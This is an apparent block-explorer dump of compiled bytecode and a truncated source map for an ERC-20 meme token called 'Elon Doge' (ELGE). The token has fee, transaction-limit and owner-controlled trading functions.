0x60806040526004361061011e575f3560e01c80637d1db4a51161009d578063a9059cbb11610062578063a9059cbb1461030e578063bf474bed1461032d578063dd62ed3e14610342578063f2fde38b14610386578063fb9b361e146103a5575f80fd5b80637d1db4a51461027e5780638a8c523c146102935780638da5cb5b146102a75780638f9a55c0146102cd57806395d89b41146102e2575f80fd5b8063313ce567116100e3578063313ce567146101f157806351bc3c851461020c57806370a0823114610222578063715018a614610256578063751039fc1461026a575f80fd5b806306fdde0314610129578063095ea7b31461016c5780630faee56f1461019b57806318160ddd146101be57806323b872dd146101d2575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b50604080518082019091526009815268456c6f6e20446f676560b81b60208201525b60405161016391906117a2565b60405180910390f35b348015610177575f80fd5b5061018b6101863660046117ee565b6103b9565b6040519015158152602001610163565b3480156101a6575f80fd5b506101b060105481565b604051908152602001610163565b3480156101c9575f80fd5b506101b06103cf565b3480156101dd575f80fd5b5061018b6101ec366004611818565b6103f0565b3480156101fc575f80fd5b5060405160098152602001610163565b348015610217575f80fd5b50610220610457565b005b34801561022d575f80fd5b506101b061023c366004611856565b6001600160a01b03165f9081526001602052604090205490565b348015610261575f80fd5b506102206104a8565b348015610275575f80fd5b50610220610522565b348015610289575f80fd5b506101b0600d5481565b34801561029e575f80fd5b506102206105d6565b3480156102b2575f80fd5b505f546040516001600160a01b039091168152602001610163565b3480156102d8575f80fd5b506101b0600e5481565b3480156102ed575f80fd5b50604080518082019091526004815263454c474560e01b6020820152610156565b348015610319575f80fd5b5061018b6103283660046117ee565b610987565b348015610338575f80fd5b506101b0600f5481565b34801561034d575f80fd5b506101b061035c366004611871565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610391575f80fd5b506102206103a0366004611856565b610993565b3480156103b0575f80fd5b50610220610a7a565b5f6103c5338484610b33565b5060015b92915050565b5f6103dc6009600a61199c565b6103eb906421ed7768106119aa565b905090565b5f6103fc848484610c57565b61044d843361044885604051806060016040528060288152602001611b3e602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906111f0565b610b33565b5060019392505050565b600c546001600160a01b0316336001600160a01b031614610476575f80fd5b305f9081526001602052604090205480156104945761049481611228565b4780156104a4576104a481611398565b5050565b5f546001600160a01b031633146104da5760405162461bcd60e51b81526004016104d1906119c1565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461054b5760405162461bcd60e51b81526004016104d1906119c1565b6105576009600a61199c565b610566906421ed7768106119aa565b600d556105756009600a61199c565b610584906421ed7768106119aa565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105b46009600a61199c565b6105c3906421ed7768106119aa565b60405190815260200160405180910390a1565b5f546001600160a01b031633146105ff5760405162461bcd60e51b81526004016104d1906119c1565b601254600160a01b900460ff16156106595760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104d1565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106a39030906106946009600a61199c565b610448906421ed7768106119aa565b6012805460ff60b01b1916600160b01b1790556011546040805163c45a015560e01b815290516001600160a01b039092169163c45a0155916004808201926020929091908290030181865afa1580156106fe573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072291906119f6565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610781573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107a591906119f6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107ef573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061081391906119f6565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d719473061085a816001600160a01b03165f9081526001602052604090205490565b5f8061086d5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108d3573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108f89190611a11565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af115801561094d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109719190611a3c565b506012805460ff60a01b1916600160a01b179055565b5f6103c5338484610c57565b5f546001600160a01b031633146109bc5760405162461bcd60e51b81526004016104d1906119c1565b6001600160a01b038116610a215760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104d1565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f546001600160a01b03163314610aa35760405162461bcd60e51b81526004016104d1906119c1565b4780610afd5760405162461bcd60e51b8152602060048201526024808201527f436f6e747261637420686173206e6f204554482062616c616e636520746f20636044820152633632b0b960e11b60648201526084016104d1565b5f80546040516001600160a01b039091169183156108fc02918491818181858888f193505050501580156104a4573d5f803e3d5ffd5b6001600160a01b038316610b955760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d1565b6001600160a01b038216610bf65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d1565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610cbb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d1565b6001600160a01b038216610d1d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d1565b5f8111610d7e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d1565b601254600160b01b900460ff161580610da05750601254600160a81b900460ff165b15610db557610db08383836113cf565b505050565b5f80546001600160a01b03858116911614801590610de057505f546001600160a01b03848116911614155b8015610dfa5750600c546001600160a01b03848116911614155b1561105357610e2b6064610e25600854600b5411610e1a57600454610e1e565b6006545b8590611472565b906114f7565b6012549091506001600160a01b038581169116148015610e5957506011546001600160a01b03848116911614155b8015610e7d57506001600160a01b0383165f9081526003602052604090205460ff16155b15610f6357600d54821115610ed45760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104d1565b600e5482610ef6856001600160a01b03165f9081526001602052604090205490565b610f009190611a5b565b1115610f4e5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d1565b600b8054905f610f5d83611a6e565b91905055505b6012546001600160a01b038481169116148015610f8957506001600160a01b0384163014155b15610fb657610fb36064610e25600954600b5411610fa957600554610e1e565b6007548590611472565b90505b305f90815260016020526040902054601254600160a81b900460ff16158015610fec57506012546001600160a01b038581169116145b80156110015750601254600160b01b900460ff165b801561100e5750600f5481115b801561101d5750600a54600b54115b156110515761103f61103a8461103584601054611538565b611538565b611228565b47801561104f5761104f47611398565b505b505b6001600160a01b0384165f9081526003602052604090205460ff168061109057506001600160a01b0383165f9081526003602052604090205460ff165b80156110a557506001600160a01b0384163014155b80156110ba57506001600160a01b0383163014155b156110c457436015555b6001600160a01b0384165f9081526003602052604090205460ff1615801561110457506001600160a01b0383165f9081526003602052604090205460ff16155b156111de576012546001600160a01b038481169116146111ac576001600160a01b038084165f90815260146020526040902060125490918681169116036111745780545f0361116f57600a54600b541115611161574381556111a6565b61116c43600161154c565b81555b6111a6565b6001600160a01b0385165f90815260146020526040902081548154108061119a57508154155b156111a457805482555b505b506111de565b6001600160a01b0384165f90815260146020526040902060155481546111d19161154c565b6001820155426002909101555b6111ea8484848461158d565b50505050565b5f81848411156112135760405162461bcd60e51b81526004016104d191906117a2565b505f61121f8486611a86565b95945050505050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061126e5761126e611a99565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112c5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112e991906119f6565b816001815181106112fc576112fc611a99565b6001600160a01b0392831660209182029290920101526011546113229130911684610b33565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061135a9085905f90869030904290600401611aad565b5f604051808303815f87803b158015611371575f80fd5b505af1158015611383573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b600c546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104a4573d5f803e3d5ffd5b6001600160a01b0383165f908152600160205260409020546113f1908261154c565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461141f90826115b7565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c4a9085815260200190565b5f825f0361148157505f6103c9565b5f61148c83856119aa565b9050826114998583611b1e565b146114f05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d1565b9392505050565b5f6114f083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611615565b5f81831161154657826114f0565b50919050565b5f6114f083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f0565b5f611599858484611641565b90506115b08585836115ab878761154c565b6116f1565b5050505050565b5f806115c38385611a5b565b9050838110156114f05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d1565b5f81836116355760405162461bcd60e51b81526004016104d191906117a2565b505f61121f8486611b1e565b600c545f9081906001600160a01b039081169086160361166d576013546116689085611472565b61166f565b835b905082156116e957305f9081526001602052604090205461169090846115b7565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116e09087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f90815260016020526040902054611713908361154c565b6001600160a01b038086165f90815260016020526040808220939093559085168152205461174190826115b7565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117949085815260200190565b60405180910390a350505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146117eb575f80fd5b50565b5f80604083850312156117ff575f80fd5b823561180a816117d7565b946020939093013593505050565b5f805f6060848603121561182a575f80fd5b8335611835816117d7565b92506020840135611845816117d7565b929592945050506040919091013590565b5f60208284031215611866575f80fd5b81356114f0816117d7565b5f8060408385031215611882575f80fd5b823561188d816117d7565b9150602083013561189d816117d7565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156118f657815f19048211156118dc576118dc6118a8565b808516156118e957918102915b93841c93908002906118c1565b509250929050565b5f8261190c575060016103c9565b8161191857505f6103c9565b816001811461192e576002811461193857611954565b60019150506103c9565b60ff841115611949576119496118a8565b50506001821b6103c9565b5060208310610133831016604e8410600b8410161715611977575081810a6103c9565b61198183836118bc565b805f1904821115611994576119946118a8565b029392505050565b5f6114f060ff8416836118fe565b80820281158282048414176103c9576103c96118a8565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611a06575f80fd5b81516114f0816117d7565b5f805f60608486031215611a23575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611a4c575f80fd5b815180151581146114f0575f80fd5b808201808211156103c9576103c96118a8565b5f60018201611a7f57611a7f6118a8565b5060010190565b818103818111156103c9576103c96118a8565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611afd5784516001600160a01b031683529383019391830191600101611ad8565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611b3857634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201eaddff8ba0718186015b9ad3a26efbda3da440f933ef2e61af83cbf86e5928964736f6c63430008190033

Deployed Bytecode Sourcemap

3759:10408:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5750:83;;;;;;;;;;-1:-1:-1;5820:5:0;;;;;;;;;;;;-1:-1:-1;;;5820:5:0;;;;5750:83;;;;;;;:::i;:::-;;;;;;;;6583:161;;;;;;;;;;-1:-1:-1;6583:161:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;6583:161:0;893:187:1;4821:55:0;;;;;;;;;;;;;;;;;;;1231:25:1;;;1219:2;1204:18;4821:55:0;1085:177:1;6027:95:0;;;;;;;;;;;;;:::i;6752:313::-;;;;;;;;;;-1:-1:-1;6752:313:0;;;;;:::i;:::-;;:::i;5936:83::-;;;;;;;;;;-1:-1:-1;5936:83:0;;4434:1;1870:36:1;;1858:2;1843:18;5936:83:0;1728:184:1;13816:348:0;;;;;;;;;;;;;:::i;:::-;;6130:119;;;;;;;;;;-1:-1:-1;6130:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6223:18:0;6196:7;6223:18;;;:9;:18;;;;;;;6130:119;2574:148;;;;;;;;;;;;;:::i;12555:161::-;;;;;;;;;;;;;:::i;4625:56::-;;;;;;;;;;;;;;;;13075:696;;;;;;;;;;;;;:::i;2360:79::-;;;;;;;;;;-1:-1:-1;2398:7:0;2425:6;2360:79;;-1:-1:-1;;;;;2425:6:0;;;2315:51:1;;2303:2;2288:18;2360:79:0;2169:203:1;4688:58:0;;;;;;;;;;;;;;;;5841:87;;;;;;;;;;-1:-1:-1;5913:7:0;;;;;;;;;;;;-1:-1:-1;;;5913:7:0;;;;5841:87;;6257:167;;;;;;;;;;-1:-1:-1;6257:167:0;;;;;:::i;:::-;;:::i;4753:61::-;;;;;;;;;;;;;;;;6432:143;;;;;;;;;;-1:-1:-1;6432:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6540:18:0;;;6513:7;6540:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6432:143;2730:244;;;;;;;;;;-1:-1:-1;2730:244:0;;;;;:::i;:::-;;:::i;12824:243::-;;;;;;;;;;;;;:::i;6583:161::-;6658:4;6675:39;175:10;6698:7;6707:6;6675:8;:39::i;:::-;-1:-1:-1;6732:4:0;6583:161;;;;;:::o;6027:95::-;6080:7;4492:13;4434:1;4492:2;:13;:::i;:::-;4477:28;;:12;:28;:::i;:::-;6100:14;;6027:95;:::o;6752:313::-;6850:4;6867:36;6877:6;6885:9;6896:6;6867:9;:36::i;:::-;6914:121;6923:6;175:10;6945:89;6983:6;6945:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6945:19:0;;;;;;:11;:19;;;;;;;;175:10;6945:33;;;;;;;;;;:37;:89::i;:::-;6914:8;:121::i;:::-;-1:-1:-1;7053:4:0;6752:313;;;;;:::o;13816:348::-;13880:10;;-1:-1:-1;;;;;13880:10:0;175;-1:-1:-1;;;;;13866:24:0;;13858:33;;;;;;13941:4;13902:20;6223:18;;;:9;:18;;;;;;13961:14;;13958:73;;13989:30;14006:12;13989:16;:30::i;:::-;14060:21;14095:12;;14092:65;;14121:24;14134:10;14121:12;:24::i;:::-;13847:317;;13816:348::o;2574:148::-;2487:6;;-1:-1:-1;;;;;2487:6:0;175:10;2487:22;2479:67;;;;-1:-1:-1;;;2479:67:0;;;;;;;:::i;:::-;;;;;;;;;2681:1:::1;2665:6:::0;;2644:40:::1;::::0;-1:-1:-1;;;;;2665:6:0;;::::1;::::0;2644:40:::1;::::0;2681:1;;2644:40:::1;2712:1;2695:19:::0;;-1:-1:-1;;;;;;2695:19:0::1;::::0;;2574:148::o;12555:161::-;2487:6;;-1:-1:-1;;;;;2487:6:0;175:10;2487:22;2479:67;;;;-1:-1:-1;;;2479:67:0;;;;;;;:::i;:::-;4492:13:::1;4434:1;4492:2;:13;:::i;:::-;4477:28;::::0;:12:::1;:28;:::i;:::-;12611:12;:21:::0;4492:13:::1;4434:1;4492:2;:13;:::i;:::-;4477:28;::::0;:12:::1;:28;:::i;:::-;12643:14;:22:::0;12681:27:::1;4492:13;4434:1;4492:2;:13;:::i;:::-;4477:28;::::0;:12:::1;:28;:::i;:::-;12681:27;::::0;1231:25:1;;;1219:2;1204:18;12681:27:0::1;;;;;;;12555:161::o:0;13075:696::-;2487:6;;-1:-1:-1;;;;;2487:6:0;175:10;2487:22;2479:67;;;;-1:-1:-1;;;2479:67:0;;;;;;;:::i;:::-;13141:11:::1;::::0;-1:-1:-1;;;13141:11:0;::::1;;;13140:12;13132:47;;;::::0;-1:-1:-1;;;13132:47:0;;5015:2:1;13132:47:0::1;::::0;::::1;4997:21:1::0;5054:2;5034:18;;;5027:30;5093:25;5073:18;;;5066:53;5136:18;;13132:47:0::1;4813:347:1::0;13132:47:0::1;13190:15;:104:::0;;-1:-1:-1;;;;;;13190:104:0::1;13241:42;13190:104:::0;;::::1;::::0;;;13305:58:::1;::::0;13322:4:::1;::::0;4492:13:::1;4434:1;4492:2;:13;:::i;:::-;4477:28;::::0;:12:::1;:28;:::i;13305:58::-;13374:11;:18:::0;;-1:-1:-1;;;;13374:18:0::1;-1:-1:-1::0;;;13374:18:0::1;::::0;;13437:15:::1;::::0;:25:::1;::::0;;-1:-1:-1;;;13437:25:0;;;;-1:-1:-1;;;;;13437:15:0;;::::1;::::0;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;:15;:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;13419:55:0::1;;13483:4;13489:15;;;;;;;;;-1:-1:-1::0;;;;;13489:15:0::1;-1:-1:-1::0;;;;;13489:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13419:93;::::0;-1:-1:-1;;;;;;13419:93:0::1;::::0;;;;;;-1:-1:-1;;;;;5651:15:1;;;13419:93:0::1;::::0;::::1;5633:34:1::0;5703:15;;5683:18;;;5676:43;5568:18;;13419:93:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13403:13;:109:::0;;-1:-1:-1;;;;;13403:109:0;;::::1;-1:-1:-1::0;;;;;;13403:109:0;;::::1;;::::0;;13523:15:::1;::::0;::::1;:31;13562:21;13593:4;13599:24;13593:4:::0;-1:-1:-1;;;;;6223:18:0;6196:7;6223:18;;;:9;:18;;;;;;;6130:119;13599:24:::1;13624:1;13626::::0;13628:7:::1;2398::::0;2425:6;-1:-1:-1;;;;;2425:6:0;;2360:79;13628:7:::1;13523:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;13523:129:0;;;-1:-1:-1;;;;;6089:15:1;;;13523:129:0::1;::::0;::::1;6071:34:1::0;6121:18;;;6114:34;;;;6164:18;;;6157:34;;;;6207:18;;;6200:34;6271:15;;;6250:19;;;6243:44;13636:15:0::1;6303:19:1::0;;;6296:35;6005:19;;13523:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13670:13:0::1;::::0;13701:15:::1;::::0;13663:71:::1;::::0;-1:-1:-1;;;13663:71:0;;-1:-1:-1;;;;;13701:15:0;;::::1;13663:71;::::0;::::1;6827:51:1::0;-1:-1:-1;;6894:18:1;;;6887:34;13670:13:0;::::1;::::0;-1:-1:-1;13663:29:0::1;::::0;6800:18:1;;13663:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13745:11:0::1;:18:::0;;-1:-1:-1;;;;13745:18:0::1;-1:-1:-1::0;;;13745:18:0::1;::::0;;13075:696::o;6257:167::-;6335:4;6352:42;175:10;6376:9;6387:6;6352:9;:42::i;2730:244::-;2487:6;;-1:-1:-1;;;;;2487:6:0;175:10;2487:22;2479:67;;;;-1:-1:-1;;;2479:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2819:22:0;::::1;2811:73;;;::::0;-1:-1:-1;;;2811:73:0;;7416:2:1;2811:73:0::1;::::0;::::1;7398:21:1::0;7455:2;7435:18;;;7428:30;7494:34;7474:18;;;7467:62;-1:-1:-1;;;7545:18:1;;;7538:36;7591:19;;2811:73:0::1;7214:402:1::0;2811:73:0::1;2921:6;::::0;;2900:38:::1;::::0;-1:-1:-1;;;;;2900:38:0;;::::1;::::0;2921:6;::::1;::::0;2900:38:::1;::::0;::::1;2949:6;:17:::0;;-1:-1:-1;;;;;;2949:17:0::1;-1:-1:-1::0;;;;;2949:17:0;;;::::1;::::0;;;::::1;::::0;;2730:244::o;12824:243::-;2487:6;;-1:-1:-1;;;;;2487:6:0;175:10;2487:22;2479:67;;;;-1:-1:-1;;;2479:67:0;;;;;;;:::i;:::-;12906:21:::1;12946:19:::0;12938:68:::1;;;::::0;-1:-1:-1;;;12938:68:0;;7823:2:1;12938:68:0::1;::::0;::::1;7805:21:1::0;7862:2;7842:18;;;7835:30;7901:34;7881:18;;;7874:62;-1:-1:-1;;;7952:18:1;;;7945:34;7996:19;;12938:68:0::1;7621:400:1::0;12938:68:0::1;2398:7:::0;2425:6;;13017:42:::1;::::0;-1:-1:-1;;;;;2425:6:0;;;;13017:42;::::1;;;::::0;13043:15;;13017:42;2398:7;13017:42;13043:15;2425:6;13017:42;::::1;;;;;;;;;;;;;::::0;::::1;;;;7334:335:::0;-1:-1:-1;;;;;7427:19:0;;7419:68;;;;-1:-1:-1;;;7419:68:0;;8228:2:1;7419:68:0;;;8210:21:1;8267:2;8247:18;;;8240:30;8306:34;8286:18;;;8279:62;-1:-1:-1;;;8357:18:1;;;8350:34;8401:19;;7419:68:0;8026:400:1;7419:68:0;-1:-1:-1;;;;;7506:21:0;;7498:68;;;;-1:-1:-1;;;7498:68:0;;8633:2:1;7498:68:0;;;8615:21:1;8672:2;8652:18;;;8645:30;8711:34;8691:18;;;8684:62;-1:-1:-1;;;8762:18:1;;;8755:32;8804:19;;7498:68:0;8431:398:1;7498:68:0;-1:-1:-1;;;;;7577:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7629:32;;1231:25:1;;;7629:32:0;;1204:18:1;7629:32:0;;;;;;;;7334:335;;;:::o;7677:3202::-;-1:-1:-1;;;;;7770:18:0;;7762:68;;;;-1:-1:-1;;;7762:68:0;;9036:2:1;7762:68:0;;;9018:21:1;9075:2;9055:18;;;9048:30;9114:34;9094:18;;;9087:62;-1:-1:-1;;;9165:18:1;;;9158:35;9210:19;;7762:68:0;8834:401:1;7762:68:0;-1:-1:-1;;;;;7849:16:0;;7841:64;;;;-1:-1:-1;;;7841:64:0;;9442:2:1;7841:64:0;;;9424:21:1;9481:2;9461:18;;;9454:30;9520:34;9500:18;;;9493:62;-1:-1:-1;;;9571:18:1;;;9564:33;9614:19;;7841:64:0;9240:399:1;7841:64:0;7936:1;7924:11;:13;7916:67;;;;-1:-1:-1;;;7916:67:0;;9846:2:1;7916:67:0;;;9828:21:1;9885:2;9865:18;;;9858:30;9924:34;9904:18;;;9897:62;-1:-1:-1;;;9975:18:1;;;9968:39;10024:19;;7916:67:0;9644:405:1;7916:67:0;8002:11;;-1:-1:-1;;;8002:11:0;;;;8000:13;;:23;;-1:-1:-1;8017:6:0;;-1:-1:-1;;;8017:6:0;;;;8000:23;7996:114;;;8040:37;8055:4;8061:2;8065:11;8040:14;:37::i;:::-;7677:3202;;;:::o;7996:114::-;8122:17;2425:6;;-1:-1:-1;;;;;8156:15:0;;;2425:6;;8156:15;;;;:32;;-1:-1:-1;2398:7:0;2425:6;-1:-1:-1;;;;;8175:13:0;;;2425:6;;8175:13;;8156:32;:51;;;;-1:-1:-1;8197:10:0;;-1:-1:-1;;;;;8191:16:0;;;8197:10;;8191:16;;8156:51;8152:1323;;;8236:107;8339:3;8236:98;8287:15;;8275:9;;:27;8274:59;;8319:14;;8274:59;;;8305:12;;8274:59;8236:11;;:37;:98::i;:::-;:102;;:107::i;:::-;8372:13;;8224:119;;-1:-1:-1;;;;;;8364:21:0;;;8372:13;;8364:21;:55;;;;-1:-1:-1;8403:15:0;;-1:-1:-1;;;;;8389:30:0;;;8403:15;;8389:30;;8364:55;:84;;;;-1:-1:-1;;;;;;8426:22:0;;;;;;:18;:22;;;;;;;;8424:24;8364:84;8360:321;;;8492:12;;8477:11;:27;;8469:65;;;;-1:-1:-1;;;8469:65:0;;10256:2:1;8469:65:0;;;10238:21:1;10295:2;10275:18;;;10268:30;10334:27;10314:18;;;10307:55;10379:18;;8469:65:0;10054:349:1;8469:65:0;8590:14;;8576:11;8561:13;8571:2;-1:-1:-1;;;;;6223:18:0;6196:7;6223:18;;;:9;:18;;;;;;;6130:119;8561:13;:26;;;;:::i;:::-;:43;;8553:82;;;;-1:-1:-1;;;8553:82:0;;10740:2:1;8553:82:0;;;10722:21:1;10779:2;10759:18;;;10752:30;10818:28;10798:18;;;10791:56;10864:18;;8553:82:0;10538:350:1;8553:82:0;8654:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8360:321;8704:13;;-1:-1:-1;;;;;8700:17:0;;;8704:13;;8700:17;:41;;;;-1:-1:-1;;;;;;8721:20:0;;8736:4;8721:20;;8700:41;8697:205;;;8774:112;8882:3;8774:103;8827:16;;8817:9;;:26;8816:60;;8861:15;;8816:60;;;8846:13;;8774:11;;:41;:103::i;:112::-;8762:124;;8697:205;8967:4;8918:28;6223:18;;;:9;:18;;;;;;8993:6;;-1:-1:-1;;;8993:6:0;;;;8992:7;:29;;;;-1:-1:-1;9008:13:0;;-1:-1:-1;;;;;9002:19:0;;;9008:13;;9002:19;8992:29;:44;;;;-1:-1:-1;9025:11:0;;-1:-1:-1;;;9025:11:0;;;;8992:44;:105;;;;;9080:17;;9057:20;:40;8992:105;:156;;;;;9130:18;;9118:9;;:30;8992:156;8988:476;;;9183:74;9200:56;9204:11;9217:38;9221:20;9243:11;;9217:3;:38::i;:::-;9200:3;:56::i;:::-;9183:16;:74::i;:::-;9305:21;9349:20;;9345:104;;9394:35;9407:21;9394:12;:35::i;:::-;9164:300;8988:476;8209:1266;8152:1323;-1:-1:-1;;;;;9492:24:0;;;;;;:18;:24;;;;;;;;;:49;;-1:-1:-1;;;;;;9519:22:0;;;;;;:18;:22;;;;;;;;9492:49;9491:76;;;;-1:-1:-1;;;;;;9546:21:0;;9562:4;9546:21;;9491:76;:98;;;;-1:-1:-1;;;;;;9571:18:0;;9584:4;9571:18;;9491:98;9487:162;;;9625:12;9606:16;:31;9487:162;-1:-1:-1;;;;;9679:24:0;;;;;;:18;:24;;;;;;;;9677:26;:70;;;;-1:-1:-1;;;;;;9725:22:0;;;;;;:18;:22;;;;;;;;9724:23;9677:70;9659:1155;;;9777:13;;-1:-1:-1;;;;;9777:20:0;;;:13;;:20;9773:1030;;-1:-1:-1;;;;;9851:17:0;;;9818:30;9851:17;;;:13;:17;;;;;9891:13;;9851:17;;9891:21;;;:13;;:21;9887:661;;9941:16;;;:21;9937:304;;10005:18;;9995:9;;:28;9991:227;;;10075:12;10056:31;;9887:661;;9991:227;10171:19;:12;10188:1;10171:16;:19::i;:::-;10152:38;;9991:227;9887:661;;;-1:-1:-1;;;;;10326:19:0;;10289:34;10326:19;;;:13;:19;;;;;10395:16;;10372:20;;:39;;:64;;-1:-1:-1;10417:16:0;;:18;10372:64;10368:161;;;10485:20;;10466:39;;10368:161;10266:282;9887:661;9799:764;9773:1030;;;-1:-1:-1;;;;;10625:19:0;;10588:34;10625:19;;;:13;:19;;;;;10710:16;;10685:20;;:42;;:24;:42::i;:::-;10663:19;;;:64;10772:15;10746:23;;;;:41;9773:1030;10826:45;10841:4;10846:2;10849:11;10861:9;10826:14;:45::i;:::-;7751:3128;7677:3202;;;:::o;1236:190::-;1322:7;1358:12;1350:6;;;;1342:29;;;;-1:-1:-1;;;1342:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1382:9:0;1394:5;1398:1;1394;:5;:::i;:::-;1382:17;1236:190;-1:-1:-1;;;;;1236:190:0:o;12064:483::-;5381:6;:13;;-1:-1:-1;;;;5381:13:0;-1:-1:-1;;;5381:13:0;;;12166:16:::1;::::0;;12180:1:::1;12166:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12166:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12166:16:0::1;12142:40;;12211:4;12193;12198:1;12193:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12193:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12237:15:::1;: